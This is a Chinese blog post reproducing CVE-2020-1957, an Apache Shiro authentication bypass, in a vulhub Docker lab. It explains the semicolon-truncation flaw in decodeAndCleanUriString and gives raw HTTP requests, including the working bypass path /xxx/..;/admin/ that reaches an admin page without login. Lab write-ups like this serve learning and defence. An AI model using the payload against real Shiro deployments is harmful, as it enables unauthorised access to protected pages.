Apache Shiro认证绕过漏洞复现CVE-2020-1957

发布于 2023-08-09  436 次阅读


前置知识

  • 首先是环境配置,cd到CVE-2020-1957目录下(有yml配置文件的目录),找不到可以使用find命令在vulhub靶场目录中查找,然后执行构建命令,然后docker ps看一下
find ./ -name *CVE-2020*
docker-compose up -d
docker ps

  • 上一篇CVE-2010-3863打的也是shiro框架,就不再介绍了

  • 漏洞的利用条件是shiro在1.5.2版本以下

漏洞复现

  • 首先得访问一下服务,docker可以看到是开在8080端口的,访问一下.

  • 从上一篇CVE-2010-3863我们知道
用户可以在Shiro.ini编写匹配URL配置,将会拦截匹配的URL,并执行响应的拦截器。从而实现对URL的访问控制,URL路径表
达式通常为ANT格式。如下配置,访问 /index.html主页的时候,Shiro将不会对其进行登录判断,anon拦截器不需要登录就
能进行访问。而对于/user/xiaoming 等 /user/xiaogang等接口,authc拦截器将会对其进行登录判断,有登录认证才能访
问资源。

在最早的另一个漏洞中,\*表示匹配零个或多个字符串,/\*可以匹配/hello,但匹配不到/hello/因为\*通配符无法匹配路
径。

如果我们给/hello链接设置了拦截器,访问/hello将会被进行权限判断,如果请求的URI为/hello/呢,/*URL路径表达式将无
法正确匹配,放行。然后进入到spring(Servlet)拦截器,spring中/hello形式和/hello/形式的URL访问的资源是一样的。
那么就实现了没有登录就越权访问了/hello目录
  • 后来这个漏洞被修复了,然后CVE-2020-1957就是对这个修复的绕过🤣

  • 漏洞产生于shiro在uri进拦截器之前使用了RequestUri函数中调用decodeAndCleanUriString函数对URI进行清洗。如果URI中存在;号的话,则会删除其后面的所有字符。

private static String decodeAndCleanUriString(HttpServletRequest request, String uri) {
      uri = decodeRequestString(request, uri);
      int semicolonIndex = uri.indexOf(59);//获取;号的位置
      return semicolonIndex != -1 ? uri.substring(0, semicolonIndex) : uri;
  }
  • 这样,在被过滤器检查的时候类似于/miao;/../hello/1/最终也就变成了/miao,而进spring之前不会被清洗,所以正常解析到/miao;/../hello/1/

  • 那么利用方法就显而易见了:
  1. 直接请求管理页面/admin/,无法访问,将会被重定向到根目录
GET /admin HTTP/1.1
Host: 192.168.1.105:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en;q=0.3,en-US;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

  1. 构造恶意请求/xxx/..;/admin/,即可绕过权限校验,访问到管理页面
GET /xxx/..;/admin/ HTTP/1.1
Host: 192.168.1.105:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en;q=0.3,en-US;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

届ける言葉を今は育ててる
最后更新于 2024-02-07